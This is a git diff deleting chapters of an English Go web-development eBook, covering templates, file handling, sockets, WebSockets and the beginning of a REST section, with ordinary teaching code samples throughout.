templates. Let's take it one step further and render data to our templates. Every template is an object in Go, so how do we insert fields to templates? - -### Fields - -In Go, Every field that you intend to be rendered within a template should be put inside of `{{}}`. `{{.}}` is shorthand for the current object, which is similar to its Java or C++ counterpart. If you want to access the fields of the current object, you should use `{{.FieldName}}`. Notice that only exported fields can be accessed in templates. Here is an example: - - package main - - import ( - "html/template" - "os" - ) - - type Person struct { - UserName string - } - - func main() { - t := template.New("fieldname example") - t, _ = t.Parse("hello {{.UserName}}!") - p := Person{UserName: "Astaxie"} - t.Execute(os.Stdout, p) - } - -The above example outputs `hello Astaxie` correctly, but if we modify our struct a little bit, the following error emerges: - - type Person struct { - UserName string - email string // Field is not exported. - } - - t, _ = t.Parse("hello {{.UserName}}! {{.email}}") - -This part of the code will not be compiled because we try to access a field that has not been exported. However, if we try to use a field that does not exist, Go simply outputs an empty string instead of an error. - -If you print `{{.}}` in a template, Go outputs formatted string of this object, calling `fmt` under the covers. - -### Nested fields - -We know how to output a field now. What if the field is an object, and it also has its own fields? How do we print them all in one loop? We can use `{{with …}}…{{end}}` and `{{range …}}{{end}}` for exactly that. - -- `{{range}}` just like range in Go. -- `{{with}}` lets you write the same object name once and use `.` as shorthand for it ( ***Similar to `with` in VB*** ). - -More examples: - - package main - - import ( - "html/template" - "os" - ) - - type Friend struct { - Fname string - } - - type Person struct { - UserName string - Emails []string - Friends []*Friend - } - - func main() { - f1 := Friend{Fname: "minux.ma"} - f2 := Friend{Fname: "xushiwei"} - t := template.New("fieldname example") - t, _ = t.Parse(`hello {{.UserName}}! - {{range .Emails}} - an email {{.}} - {{end}} - {{with .Friends}} - {{range .}} - my friend name is {{.Fname}} - {{end}} - {{end}} - `) - p := Person{UserName: "Astaxie", - Emails: []string{"astaxie@beego.me", "astaxie@gmail.com"}, - Friends: []*Friend{&f1, &f2}} - t.Execute(os.Stdout, p) - } - -### Conditions - -If you need to check for conditions in templates, you can use the `if-else` syntax just like you do in regular Go programs. If the pipeline is empty, the default value of `if` is `false`. The following example shows how to use `if-else` in templates: - - package main - - import ( - "os" - "text/template" - ) - - func main() { - tEmpty := template.New("template test") - tEmpty = template.Must(tEmpty.Parse("Empty pipeline if demo: {{if ``}} will not be outputted. {{end}}\n")) - tEmpty.Execute(os.Stdout, nil) - - tWithValue := template.New("template test") - tWithValue = template.Must(tWithValue.Parse("Not empty pipeline if demo: {{if `anything`}} will be outputted. {{end}}\n")) - tWithValue.Execute(os.Stdout, nil) - - tIfElse := template.New("template test") - tIfElse = template.Must(tIfElse.Parse("if-else demo: {{if `anything`}} if part {{else}} else part.{{end}}\n")) - tIfElse.Execute(os.Stdout, nil) - } - -As you can see, it's easy to use `if-else` in templates. - -** Attention ** You CANNOT use conditional expressions in if, for instance `.Mail=="astaxie@gmail.com"`. Only boolean values are acceptable. - -### pipelines - -Unix users should be familiar with the `pipe` operator, like `ls | grep "beego"`. This command filters files and only shows those that contain the word `beego`. One thing that I like about Go templates is that they support pipes. Anything in `{{}}` can be the data of pipelines. The e-mail we used above can render our application vulnerable to XSS attacks. How can we address this issue using pipes? - - {{. | html}} - -We can use this method to escape the e-mail body to HTML. It's quite the same as writing a Unix command, and its convenient for use in template functions. - -### Template variables - -Sometimes we need to use local variables in templates. We can use them with the `with`, `range` and `if` keywords, and their scope is between these keywords and `{{end}}`. Here's an example of declaring a global variable: - - $variable := pipeline - -More examples: - - {{with $x := "output" | printf "%q"}}{{$x}}{{end}} - {{with $x := "output"}}{{printf "%q" $x}}{{end}} - {{with $x := "output"}}{{$x | printf "%q"}}{{end}} - -### Template functions - -Go uses the `fmt` package to format output in templates, but sometimes we need to do something else. As an example scenario, let's say we want to replace `@` with `at` in our e-mail address, like `astaxie at beego.me`. At this point, we have to write a customized function. - -Every template function has a unique name and is associated with one function in your Go program as follows: - - type FuncMap map[string]interface{} - -Suppose we have an `emailDeal` template function associated with its `EmailDealWith` counterpart function in our Go program. We can use the following code to register this function: - - t = t.Funcs(template.FuncMap{"emailDeal": EmailDealWith}) - -`EmailDealWith` definition: - - func EmailDealWith(args …interface{}) string - -Example: - - package main - - import ( - "fmt" - "html/template" - "os" - "strings" - ) - - type Friend struct { - Fname string - } - - type Person struct { - UserName string - Emails []string - Friends []*Friend - } - - func EmailDealWith(args ...interface{}) string { - ok := false - var s string - if len(args) == 1 { - s, ok = args[0].(string) - } - if !ok { - s = fmt.Sprint(args...) - } - // find the @ symbol - substrs := strings.Split(s, "@") - if len(substrs) != 2 { - return s - } - // replace the @ by " at " - return (substrs[0] + " at " + substrs[1]) - } - - func main() { - f1 := Friend{Fname: "minux.ma"} - f2 := Friend{Fname: "xushiwei"} - t := template.New("fieldname example") - t = t.Funcs(template.FuncMap{"emailDeal": EmailDealWith}) - t, _ = t.Parse(`hello {{.UserName}}! - {{range .Emails}} - an emails {{.|emailDeal}} - {{end}} - {{with .Friends}} - {{range .}} - my friend name is {{.Fname}} - {{end}} - {{end}} - `) - p := Person{UserName: "Astaxie", - Emails: []string{"astaxie@beego.me", "astaxie@gmail.com"}, - Friends: []*Friend{&f1, &f2}} - t.Execute(os.Stdout, p) - } - -Here is a list of built-in template functions: - - var builtins = FuncMap{ - "and": and, - "call": call, - "html": HTMLEscaper, - "index": index, - "js": JSEscaper, - "len": length, - "not": not, - "or": or, - "print": fmt.Sprint, - "printf": fmt.Sprintf, - "println": fmt.Sprintln, - "urlquery": URLQueryEscaper, - } - - -## Must - -The template package has a function called `Must` which is for validating templates, like the matching of braces, comments, and variables. Let's take a look at an example of `Must`: - - package main - - import ( - "fmt" - "text/template" - ) - - func main() { - tOk := template.New("first") - template.Must(tOk.Parse(" some static text /* and a comment */")) - fmt.Println("The first one parsed OK.") - - template.Must(template.New("second").Parse("some static text {{ .Name }}")) - fmt.Println("The second one parsed OK.") - - fmt.Println("The next one ought to fail.") - tErr := template.New("check parse error with Must") - template.Must(tErr.Parse(" some static text {{ .Name }")) - } - -Output: - - The first one parsed OK. - The second one parsed OK. - The next one ought to fail. - panic: template: check parse error with Must:1: unexpected "}" in command - -## Nested templates - -Just like in most web applications, certain parts of templates can be reused across other templates, like the headers and footers of a blog. We can declare `header`, `content` and `footer` as sub-templates, and declare them in Go using the following syntax: - - {{define "sub-template"}}content{{end}} - -The sub-template is called using the following syntax: - - {{template "sub-template"}} - -Here's a complete example, supposing that we have the following three files: `header.tmpl`, `content.tmpl` and `footer.tmpl`. - -Main template: - - //header.tmpl - {{define "header"}} - - - Something here - - - {{end}} - - //content.tmpl - {{define "content"}} - {{template "header"}} -

Nested here

-
    -
  • Nested usag
  • -
  • Call template
  • -
- {{template "footer"}} - {{end}} - - //footer.tmpl - {{define "footer"}} - - - {{end}} - -Code: - - package main - - import ( - "fmt" - "os" - "text/template" - ) - - func main() { - s1, _ := template.ParseFiles("header.tmpl", "content.tmpl", "footer.tmpl") - s1.ExecuteTemplate(os.Stdout, "header", nil) - fmt.Println() - s1.ExecuteTemplate(os.Stdout, "content", nil) - fmt.Println() - s1.ExecuteTemplate(os.Stdout, "footer", nil) - fmt.Println() - s1.Execute(os.Stdout, nil) - } - -Here we can see that `template.ParseFiles` parses all nested templates into cache, and that every template defined by `{{define}}` is independent of one another. They are persisted in something like a map, where the template names are keys and the values are the template bodies. We can then use `ExecuteTemplate` to execute the corresponding sub-templates, so that the header and footer are independent and content contains them both. Note that if we try to execute `s1.Execute`, nothing will be outputted because there is no default sub-template available. - -Templates in one set know each other, but you must parse them for every single set. - -## Summary - -In this section, you learned how to combine dynamic data with templates using techniques including printing data in loops, template functions and nested templates. By learning about templates, we can conclude discussing the V part of the MVC architecture. In the following chapters, we will cover the M and C aspects of MVC. - -## Links - -- [Directory](preface.md) -- Previous section: [Regexp](07.3.md) -- Next section: [Files](07.5.md) diff --git a/en/eBook/07.5.md b/en/eBook/07.5.md deleted file mode 100644 index 146bcda2..00000000 --- a/en/eBook/07.5.md +++ /dev/null @@ -1,159 +0,0 @@ -# 7.5 Files - -Files are must-have objects on every single computer device. It won't come as any surprise to you that web applications also make heavy use of them. In this section, we're going to learn how to operate on files in Go. - -## Directories - -In Go, most of the file operation functions are located in the `os` package. Here are some directory functions: - -- func Mkdir(name string, perm FileMode) error - - Create a directory with `name`. `perm` is the directory permissions, i.e 0777. - -- func MkdirAll(path string, perm FileMode) error - - Create multiple directories according to `path`, like `astaxie/test1/test2`. - -- func Remove(name string) error - - Removes directory with `name`. Returns error if it's not a directory or not empty. - -- func RemoveAll(path string) error - - Removes multiple directories according to `path`. Directories will not be deleted if `path` is a single path. - -Code sample: - - package main - - import ( - "fmt" - "os" - ) - - func main() { - os.Mkdir("astaxie", 0777) - os.MkdirAll("astaxie/test1/test2", 0777) - err := os.Remove("astaxie") - if err != nil { - fmt.Println(err) - } - os.RemoveAll("astaxie") - } - -## Files - -### Create and open files - -There are two functions for creating files: - -- func Create(name string) (file *File, err Error) - - Create a file with `name` and return a read-writable file object with permission 0666. - -- func NewFile(fd uintptr, name string) *File - - Create a file and return a file object. - - -There are also two functions to open files: - -- func Open(name string) (file *File, err Error) - - Opens a file called `name` with read-only access, calling `OpenFile` under the covers. - -- func OpenFile(name string, flag int, perm uint32) (file *File, err Error) - - Opens a file called `name`. `flag` is open mode like read-only, read-write, etc. `perm` are the file permissions. - -### Write files - -Functions for writing files: - -- func (file *File) Write(b []byte) (n int, err Error) - - Write byte type content to a file. - -- func (file *File) WriteAt(b []byte, off int64) (n int, err Error) - - Write byte type content to a specific position of a file. - -- func (file *File) WriteString(s string) (ret int, err Error) - - Write a string to a file. - -Code sample: - - package main - - import ( - "fmt" - "os" - ) - - func main() { - userFile := "astaxie.txt" - fout, err := os.Create(userFile) - if err != nil { - fmt.Println(userFile, err) - return - } - defer fout.Close() - for i := 0; i < 10; i++ { - fout.WriteString("Just a test!\r\n") - fout.Write([]byte("Just a test!\r\n")) - } - } - -### Read files - -Functions for reading files: - -- func (file *File) Read(b []byte) (n int, err Error) - - Read data to `b`. - -- func (file *File) ReadAt(b []byte, off int64) (n int, err Error) - - Read data from position `off` to `b`. - -Code sample: - - package main - - import ( - "fmt" - "os" - ) - - func main() { - userFile := "asatxie.txt" - fl, err := os.Open(userFile) - if err != nil { - fmt.Println(userFile, err) - return - } - defer fl.Close() - buf := make([]byte, 1024) - for { - n, _ := fl.Read(buf) - if 0 == n { - break - } - os.Stdout.Write(buf[:n]) - } - } - -### Delete files - -Go uses the same function for removing files and directories: - -- func Remove(name string) Error - - Remove a file or directory called `name`.( *** a `name` ending with `/` signifies that it's a directory*** ) - -## Links - -- [Directory](preface.md) -- Previous section: [Templates](07.4.md) -- Next section: [Strings](07.6.md) diff --git a/en/eBook/07.7.md b/en/eBook/07.7.md deleted file mode 100644 index 7c56b019..00000000 --- a/en/eBook/07.7.md +++ /dev/null @@ -1,9 +0,0 @@ -# 7.7 Summary - -In this chapter, we introduced some text processing tools like XML, JSON, Regexp and we also talked about templates. XML and JSON are data exchange tools. You can represent almost any kind of information using these two formats. Regexp is a powerful tool for searching, replacing and cutting text content. With templates, you can easily combine dynamic data with static files. These tools are all useful when developping web applications. I hope that you now have a better understanding of processing and showing content using Go. - -## Links - -- [Directory](preface.md) -- Previous section: [Strings](07.6.md) -- Next chapter: [Web services](08.0.md) diff --git a/en/eBook/08.0.md b/en/eBook/08.0.md deleted file mode 100644 index dc040939..00000000 --- a/en/eBook/08.0.md +++ /dev/null @@ -1,18 +0,0 @@ -# 8 Web services - -Web services allow you use formats like XML or JSON to exchange information through HTTP. For example, if you want to know the weather in Shanghai tomorrow, the current share price of Apple, or product information on Amazon, you can write a piece of code to fetch that information from open platforms. In Go, this process can be comparable to calling a local function and getting its return value. - -The key point is that web services are platform independent. This allows you to deploy your applications on Linux and interact with ASP.NET applications in Windows, for example, just like you wouldn't have a problem interacting with JSP on FreeBSD either. - -The REST architecture and SOAP protocol are the most popular styles in which web services can be implemented these days: - -- REST requests are pretty straight forward because it's based on HTTP. Every REST request is actually an HTTP request, and servers handle requests using different methods. Because many developers are familiar with HTTP already, REST should feel like it's already in their back pockets. We are going to show you how to implement REST in Go in section 8.3. -- SOAP is a standard for cross-network information transmission and remote computer function calls, launched by W3C. The problem with SOAP is that its specification is very long and complicated, and it's still getting longer. Go believes that things should be simple, so we're not going to talk about SOAP. Fortunately, Go provides support for RPC (Remote Procedure Calls) which has good performance and is easy to develop with, so we will introduce how to implement RPC in Go in section 8.4. - -Go is the C language of the 21st century, aspiring to be simple yet performant. With these qualities in mind, we'll introduce you to socket programming in Go in section 8.1. Nowadays, many real-time servers use sockets to overcome the low performance of HTTP. Along with the rapid development of HTML5, websockets are now used by many web based game companies, and we will talk about this more in section 8.2. - -## Links - -- [Directory](preface.md) -- Previous Chapter: [Chapter 7 Summary](07.7.md) -- Next section: [Sockets](08.1.md) diff --git a/en/eBook/08.1.md b/en/eBook/08.1.md deleted file mode 100644 index 42bb6639..00000000 --- a/en/eBook/08.1.md +++ /dev/null @@ -1,411 +0,0 @@ -# 8.1 Sockets - -Some network application developers say that the lower application layers are all about socket programming. This may not be true for all cases, but many modern web applications do indeed use sockets to their advantage. Have you ever wondered how browsers communicate with web servers when you are surfing the internet? Or How MSN connects you and your friends together in a chatroom, relaying each message in real-time? Many services like these use sockets to transfer data. As you can see, sockets occupy an important position in network programming today, and we're going to learn about using sockets in Go in this section. - -## What is a socket? - -Sockets originate from Unix, and given the basic "everything is a file" philosophy of Unix, everything can be operated on with "open -> write/read -> close". Sockets are one implementation of this philosophy. Sockets have a function call for opening a socket just like you would open a file. This returns an int descriptor of the socket which can then be used for operations like creating connections, transferring data, etc. - -Two types of sockets that are commonly used are stream sockets (SOCK_STREAM) and datagram sockets (SOCK_DGRAM). Stream sockets are connection-oriented like TCP, while datagram sockets do not establish connections, like UDP. - -## Socket communication - -Before we understand how sockets communicate with one another, we need to figure out how to make sure that every socket is unique, otherwise establishing a reliable communication channel is already out of the question. We can give every process a unique PID which serves our purpose locally, however that's not able to work over a network. Fortunately, TCP/IP helps us solve this problem. The IP addresses of the network layer are unique in a network of hosts, and "protocol + port" is also unique among host applications. So, we can use these principles to make sockets which are unique. - -![](images/8.1.socket.png?raw=true) - -Figure 8.1 network protocol layers - -Applications that are based on TCP/IP all use socket APIs in their code in one way or another. Given that networked applications are becoming more and more prevalent in the modern day, it's no wonder some developers are saying that "everything is about sockets". - -## Socket basic knowledge - -We know that sockets have two types, which are TCP sockets and UDP sockets. TCP and UDP are protocols and, as mentioned, we also need an IP address and port number to have a unique socket. - -### IPv4 - -The global internet uses TCP/IP as its protocol, where IP is the network layer and a core part of TCP/IP. IPv4 signifies that its version is 4; infrastructure development to date has spanned over 30 years. - -The number of bits in an IPv4 address is 32, which means that 2^32 devices are able to uniquely connect to the internet. Due to the rapid develop of the internet, IP addresses are already running out of stock in recent years. - -Address format:`127.0.0.1`, `172.122.121.111`. - -### IPv6 - -IPv6 is the next version or next generation of the internet. It's being developed for solving many of the problems inherent with IPv4. Devices using IPv6 have an address that's 128 bits long, so we'll never need to worry about a shortage of unique addresses. To put this into perspective, you could have more than 1000 IP addresses for every square meter on earth with IPv6. Other problems like peer to peer connection, service quality (QoS), security, multiple broadcast, etc., are also be improved. - -Address format: `2002:c0e8:82e7:0:0:0:c0e8:82e7`. - -### IP types in Go - -The `net` package in Go provides many types, functions and methods for network programming. The definition of IP as follows: - - type IP []byte - -Functions `ParseIP(s string) IP` is for converting an IP from the IPv4 format into IPv6: - - package main - import ( - "net" - "os" - "fmt" - ) - func main() { - if len(os.Args) != 2 { - fmt.Fprintf(os.Stderr, "Usage: %s ip-addr\n", os.Args[0]) - os.Exit(1) - } - name := os.Args[1] - addr := net.ParseIP(name) - if addr == nil { - fmt.Println("Invalid address") - } else { - fmt.Println("The address is ", addr.String()) - } - os.Exit(0) - } - -It returns the corresponding IP format for a given IP address. - -## TCP socket - -What can we do when we know how to visit a web service through a network port? As a client, we can send a request to an appointed network port and gets its response; as a server, we need to bind a service to an appointed network port, wait for clients' requests and supply a response. - -In Go's `net` package, there's a type called `TCPConn` that facilitates this kind of clients/servers interaction. This type has two key functions: - - func (c *TCPConn) Write(b []byte) (n int, err os.Error) - func (c *TCPConn) Read(b []byte) (n int, err os.Error) - -`TCPConn` can be used by either client or server for reading and writing data. - -We also need a `TCPAddr` to represent TCP address information: - - type TCPAddr struct { - IP IP - Port int - } - -We use the `ResolveTCPAddr` function to get a `TCPAddr` in Go: - - func ResolveTCPAddr(net, addr string) (*TCPAddr, os.Error) - -- Arguments of `net` can be one of "tcp4", "tcp6" or "tcp", which each signify IPv4-only, IPv6-only, and either IPv4 or IPv6, respectively. -- `addr` can be a domain name or IP address, like "www.google.com:80" or "127.0.0.1:22". - -### TCP client - -Go clients use the `DialTCP` function in the `net` package to create a TCP connection, which returns a `TCPConn` object; after a connection is established, the server has the same type of connection object for the current connection, and client and server can begin exchanging data with one another. In general, clients send requests to servers through a `TCPConn` and receive information from the server response; servers read and parse client requests, then return feedback. This connection will remain valid until either the client or server closes it. The function for creating a connection is as follows: - - func DialTCP(net string, laddr, raddr *TCPAddr) (c *TCPConn, err os.Error) - -- Arguments of `net` can be one of "tcp4", "tcp6" or "tcp", which each signify IPv4-only, IPv6-only, and either IPv4 or IPv6, respectively. -- `laddr` represents the local address, set it to `nil` in most cases. -- `raddr` represents the remote address. - -Let's write a simple example to simulate a client requesting a connection to a server based on an HTTP request. We need a simple HTTP request header: - - "HEAD / HTTP/1.0\r\n\r\n" - -Server response information format may look like the following: - - HTTP/1.0 200 OK - ETag: "-9985996" - Last-Modified: Thu, 25 Mar 2010 17:51:10 GMT - Content-Length: 18074 - Connection: close - Date: Sat, 28 Aug 2010 00:43:48 GMT - Server: lighttpd/1.4.23 - -Client code: - - package main - - import ( - "fmt" - "io/ioutil" - "net" - "os" - ) - - func main() { - if len(os.Args) != 2 { - fmt.Fprintf(os.Stderr, "Usage: %s host:port ", os.Args[0]) - os.Exit(1) - } - service := os.Args[1] - tcpAddr, err := net.ResolveTCPAddr("tcp4", service) - checkError(err) - conn, err := net.DialTCP("tcp", nil, tcpAddr) - checkError(err) - _, err = conn.Write([]byte("HEAD / HTTP/1.0\r\n\r\n")) - checkError(err) - result, err := ioutil.ReadAll(conn) - checkError(err) - fmt.Println(string(result)) - os.Exit(0) - } - func checkError(err error) { - if err != nil { - fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) - os.Exit(1) - } - } - -In the above example, we use user input as the `service` argument of `net.ResolveTCPAddr` to get a `tcpAddr`. Passing `tcpAddr` to the `DialTCP` function, we create a TCP connection, `conn`. We can then use `conn` to send request information to the server. Finally, we use `ioutil.ReadAll` to read all the content from `conn`, which contains the server response. - -### TCP server - -We have a TCP client now. We can also use the `net` package to write a TCP server. On the server side, we need to bind our service to a specific inactive port and listen for any incoming client requests. - - func ListenTCP(net string, laddr *TCPAddr) (l *TCPListener, err os.Error) - func (l *TCPListener) Accept() (c Conn, err os.Error) - -The arguments required here are identical to those required by the `DialTCP` function we used earlier. Let's implement a time syncing service using port 7777: - - package main - - import ( - "fmt" - "net" - "os" - "time" - ) - - func main() { - service := ":7777" - tcpAddr, err := net.ResolveTCPAddr("tcp4", service) - checkError(err) - listener, err := net.ListenTCP("tcp", tcpAddr) - checkError(err) - for { - conn, err := listener.Accept() - if err != nil { - continue - } - daytime := time.Now().String() - conn.Write([]byte(daytime)) // don't care about return value - conn.Close() // we're finished with this client - } - } - func checkError(err error) { - if err != nil { - fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) - os.Exit(1) - } - } - -After the service is started, it waits for client requests. When it receives a client request, it `Accept`s it and returns a response to the client containing information about the current time. It's worth noting that when errors occur in the `for` loop, the service continues running instead of exiting. Instead of crashing, the server will record the error to a server error log. - -The above code is still not good enough, however. We didn't make use of goroutines, which would have allowed us to accept simultaneous requests. Let's do this now: - - package main - - import ( - "fmt" - "net" - "os" - "time" - ) - - func main() { - service := ":1200" - tcpAddr, err := net.ResolveTCPAddr("tcp4", service) - checkError(err) - listener, err := net.ListenTCP("tcp", tcpAddr) - checkError(err) - for { - conn, err := listener.Accept() - if err != nil { - continue - } - go handleClient(conn) - } - } - - func handleClient(conn net.Conn) { - defer conn.Close() - daytime := time.Now().String() - conn.Write([]byte(daytime)) // don't care about return value - // we're finished with this client - } - func checkError(err error) { - if err != nil { - fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) - os.Exit(1) - } - } - -By separating out our business process from the `handleClient` function, and by using the `go` keyword, we've already implemented concurrency in our service. This is a good demonstration of the power and simplicity of goroutines. - -Some of you may be thinking the following: this server does not do anything meaningful. What if we needed to send multiple requests for different time formats over a single connection? How would we do that? - - package main - - import ( - "fmt" - "net" - "os" - "time" - "strconv" - ) - - func main() { - service := ":1200" - tcpAddr, err := net.ResolveTCPAddr("tcp4", service) - checkError(err) - listener, err := net.ListenTCP("tcp", tcpAddr) - checkError(err) - for { - conn, err := listener.Accept() - if err != nil { - continue - } - go handleClient(conn) - } - } - - func handleClient(conn net.Conn) { - conn.SetReadDeadline(time.Now().Add(2 * time.Minute)) // set 2 minutes timeout - request := make([]byte, 128) // set maxium request length to 128KB to prevent flood based attacks - defer conn.Close() // close connection before exit - for { - read_len, err := conn.Read(request) - - if err != nil { - fmt.Println(err) - break - } - - if read_len == 0 { - break // connection already closed by client - } else if string(request) == "timestamp" { - daytime := strconv.FormatInt(time.Now().Unix(), 10) - conn.Write([]byte(daytime)) - } else { - daytime := time.Now().String() - conn.Write([]byte(daytime)) - } - - request = make([]byte, 128) // clear last read content - } - } - - func checkError(err error) { - if err != nil { - fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) - os.Exit(1) - } - } - -In this example, we use `conn.Read()` to constantly read client requests. We cannot close the connection because clients may issue more than one request. Due to the timeout we set using `conn.SetReadDeadline()`, the connection closes automatically when a client has not sent a request within our allotted time period. When then expiry time has elapsed, our program breaks from the `for` loop. Notice that `request` needs to be created with a max size limitation in order to prevent flood attacks. FInally, we clean the `request` array after processing every request, since `conn.Read()` appends new content to the array instead of rewriting it. - -### Controlling TCP connections - -Controlling TCP functions: - - func DialTimeout(net, addr string, timeout time.Duration) (Conn, error) - -Setting the timeout of connections. These are suitable for use on both clients and servers: - - func (c *TCPConn) SetReadDeadline(t time.Time) error - func (c *TCPConn) SetWriteDeadline(t time.Time) error - -Setting the write/read timeout of one connection: - - func (c *TCPConn) SetKeepAlive(keepalive bool) os.Error - -It's worth taking some time to think about how long you want your connection timeouts to be. Long connections can reduce the amount of overhead involved in creating connections and are good for applications that need to exchange data frequently. - -For more detailed information, just look up the official documentation for Go's `net` package . - -## UDP sockets - -The only difference between a UDP socket and a TCP socket is the processing method for dealing with multiple requests on server side. This arises from the fact that UDP does not have a function like `Accept`. All of the other functions have `UDP` counterparts; just replace `TCP` with `UDP` in the functions mentioned above. - - func ResolveUDPAddr(net, addr string) (*UDPAddr, os.Error) - func DialUDP(net string, laddr, raddr *UDPAddr) (c *UDPConn, err os.Error) - func ListenUDP(net string, laddr *UDPAddr) (c *UDPConn, err os.Error) - func (c *UDPConn) ReadFromUDP(b []byte) (n int, addr *UDPAddr, err os.Error - func (c *UDPConn) WriteToUDP(b []byte, addr *UDPAddr) (n int, err os.Error) - -UDP client code sample: - - package main - - import ( - "fmt" - "net" - "os" - ) - - func main() { - if len(os.Args) != 2 { - fmt.Fprintf(os.Stderr, "Usage: %s host:port", os.Args[0]) - os.Exit(1) - } - service := os.Args[1] - udpAddr, err := net.ResolveUDPAddr("udp4", service) - checkError(err) - conn, err := net.DialUDP("udp", nil, udpAddr) - checkError(err) - _, err = conn.Write([]byte("anything")) - checkError(err) - var buf [512]byte - n, err := conn.Read(buf[0:]) - checkError(err) - fmt.Println(string(buf[0:n])) - os.Exit(0) - } - func checkError(err error) { - if err != nil { - fmt.Fprintf(os.Stderr, "Fatal error ", err.Error()) - os.Exit(1) - } - } - -UDP server code sample: - - package main - - import ( - "fmt" - "net" - "os" - "time" - ) - - func main() { - service := ":1200" - udpAddr, err := net.ResolveUDPAddr("udp4", service) - checkError(err) - conn, err := net.ListenUDP("udp", udpAddr) - checkError(err) - for { - handleClient(conn) - } - } - func handleClient(conn *net.UDPConn) { - var buf [512]byte - _, addr, err := conn.ReadFromUDP(buf[0:]) - if err != nil { - return - } - daytime := time.Now().String() - conn.WriteToUDP([]byte(daytime), addr) - } - func checkError(err error) { - if err != nil { - fmt.Fprintf(os.Stderr, "Fatal error ", err.Error()) - os.Exit(1) - } - } - -## Summary - -Through describing and coding some simple programs using TCP and UDP sockets, we can see that Go provides excellent support for socket programming, and that they are fun and easy to use. Go also provides many functions for building high performance socket applications. - -## Links - -- [Directory](preface.md) -- Previous section: [Web services](08.0.md) -- Next section: [WebSocket](08.2.md) diff --git a/en/eBook/08.2.md b/en/eBook/08.2.md deleted file mode 100644 index 57abaed3..00000000 --- a/en/eBook/08.2.md +++ /dev/null @@ -1,159 +0,0 @@ -# 8.2 WebSockets - -WebSockets are an important feature of HTML5. It implements browser based remote sockets, which allows browsers to have full-duplex communications with servers. Main stream browsers like Firefox, Google Chrome and Safari provide support for this WebSockets. - -People often used "roll polling" for instant messaging services before WebSockets were born, which allow clients to send HTTP requests periodically. The server then returns the latest data to clients. The downside to this method is that it requires clients to keep sending many requests to the server, which can consume a large amount of bandwidth. - -WebSockets use a special kind of header that reduces the number of handshakes required between browser and server to only one, for establishing a connection. This connection will remain active throughout its lifetime, and you can use JavaScript to write or read data from this connection, as in the case of a conventional TCP sockets. It solves many of the headache involved with real-time web development, and has the following advantages over traditional HTTP: - -- Only one TCP connection for a single web client. -- WebSocket servers can push data to web clients. -- Lightweight header to reduce data transmission overhead. - -WebSocket URLs begin with ws:// or wss://(SSL). The following figure shows the communication process of WebSockets. A particular HTTP header is sent to the server as part of the handshaking protocol and the connection is established. Then, servers or clients are able to send or receive data through JavaScript via WebSocket. This socket can then be used by an event handler to receive data asynchronously. - -![](images/8.2.websocket.png?raw=true) - -Figure 8.2 WebSocket principl - -## WebSocket principles - -The WebSocket protocol is actually quite simple. After successfully completing the initial handshake, a connection is established. Subsequent data communications will all begin with "\x00" and end with "\xFF". This prefix and suffix will be visible to clients because the WebSocket will break off both end, yielding the raw data automatically. - -WebSocket connections are requested by browsers and responded to by servers, after which the connection is established. This process is often called "handshaking". - -Consider the following requests and responses: - -![](images/8.2.websocket2.png?raw=true) - -Figure 8.3 WebSocket request and response. - -"Sec-WebSocket-key" is generated randomly, as you may have already guessed, and it's base64 encoded. Servers need to append this key to a fixed string after accepting a request: - - 258EAFA5-E914-47DA-95CA-C5AB0DC85B11 - -Suppose we have `f7cb4ezEAl6C3wRaU6JORA==`, then we have: - - f7cb4ezEAl6C3wRaU6JORA==258EAFA5-E914-47DA-95CA-C5AB0DC85B11 - -Use sha1 to compute the binary value and use base64 to encode it. We will then we have: - - rE91AJhfC+6JdVcVXOGJEADEJdQ= - -Use this as the value of the `Sec-WebSocket-Accept` response header. - -## WebSocket in Go - -The Go standard library does not support WebSockets. However the `websocket` package, which is a sub-package of `go.net` does, and is officially maintained and supported. - -Use `go get` to install this package: - - go get code.google.com/p/go.net/websocket - -WebSockets have both client and server sides. Let's see a simple example where a user inputs some information on the client side and sends it to the server through a WebSocket, followed by the server pushing information back to the client. - -Client code: - - - - - -

WebSocket Echo Test

-
-

- Message: -

-
- - - - -As you can see, it's very easy to use the client side JavaScript functions to establish a connection. The `onopen` event gets triggered after successfully completing the aforementioned handshaking process. It tells the client that the connection has been created successfully. Clients attempting to open a connection typically bind to four events: - -- 1)onopen: triggered after connection has been established. -- 2)onmessage: triggered after receiving a message. -- 3)onerror: triggered after an error has occurred.. -- 4)onclose: triggered after the connection has closed. - -Server code: - - package main - - import ( - "code.google.com/p/go.net/websocket" - "fmt" - "log" - "net/http" - ) - - func Echo(ws *websocket.Conn) { - var err error - - for { - var reply string - - if err = websocket.Message.Receive(ws, &reply); err != nil { - fmt.Println("Can't receive") - break - } - - fmt.Println("Received back from client: " + reply) - - msg := "Received: " + reply - fmt.Println("Sending to client: " + msg) - - if err = websocket.Message.Send(ws, msg); err != nil { - fmt.Println("Can't send") - break - } - } - } - - func main() { - http.Handle("/", websocket.Handler(Echo)) - - if err := http.ListenAndServe(":1234", nil); err != nil { - log.Fatal("ListenAndServe:", err) - } - } - -When a client `Send`s user input information, the server `Receive`s it, and uses `Send` once again to return a response. - -![](images/8.2.websocket3.png?raw=true) - -Figure 8.4 WebSocket server received information. - -Through the example above, we can see that the client and server side implementation of WebSockets is very convenient. We can use the `net` package directly in Go. With the rapid development of HTML5, I think that WebSockets will take on a much more important role in modern day web development; we should all be at least a little bit familiar with them. - -## Links - -- [Directory](preface.md) -- Previous section: [Sockets](08.1.md) -- Next section: [REST](08.3.md) diff --git a/en/eBook/08.3.md b/en/eBook/08.3.md deleted file mode 100644 index 3323135f..00000000 --- a/en/eBook/08.3.md +++ /dev/null @@ -1,123 +0,0 @@ -# 8.3 REST - -REST is the most popular software architecture on the internet today because it is founded on well defined, strict standards and it's easy to understand and expand. mOre and more websites are basing their designs on to top of it. In this section, we are going to have a close look at implementing the REST architecture in Go and (hopefully) learn how to leverage it to our benefit. - -## What is REST? - -The first declaration of the concept of REST (REpresentational State Transfer) was in the year 2000 in Roy Thomas Fielding's doctoral dissertation, who is also just happens to be the co-founder of the HTTP protocol. It specifies the architecture's constraints and principles and anything implemented with architecture can be called a RESTful system. - -Before we understand what REST is, we need to cover the following concepts: - -- Resources - - REST is the Presentation Layer State Transfer, where the presentation layer is actually the resource presentation layer. - - So what are resources? Pictures, documents or videos, etc., are all examples of resources and can be located by URI. - -- Representation - - Resources are specific information entities that can be shown in a variety of ways within the presentation layer. For instance, a TXT document can be 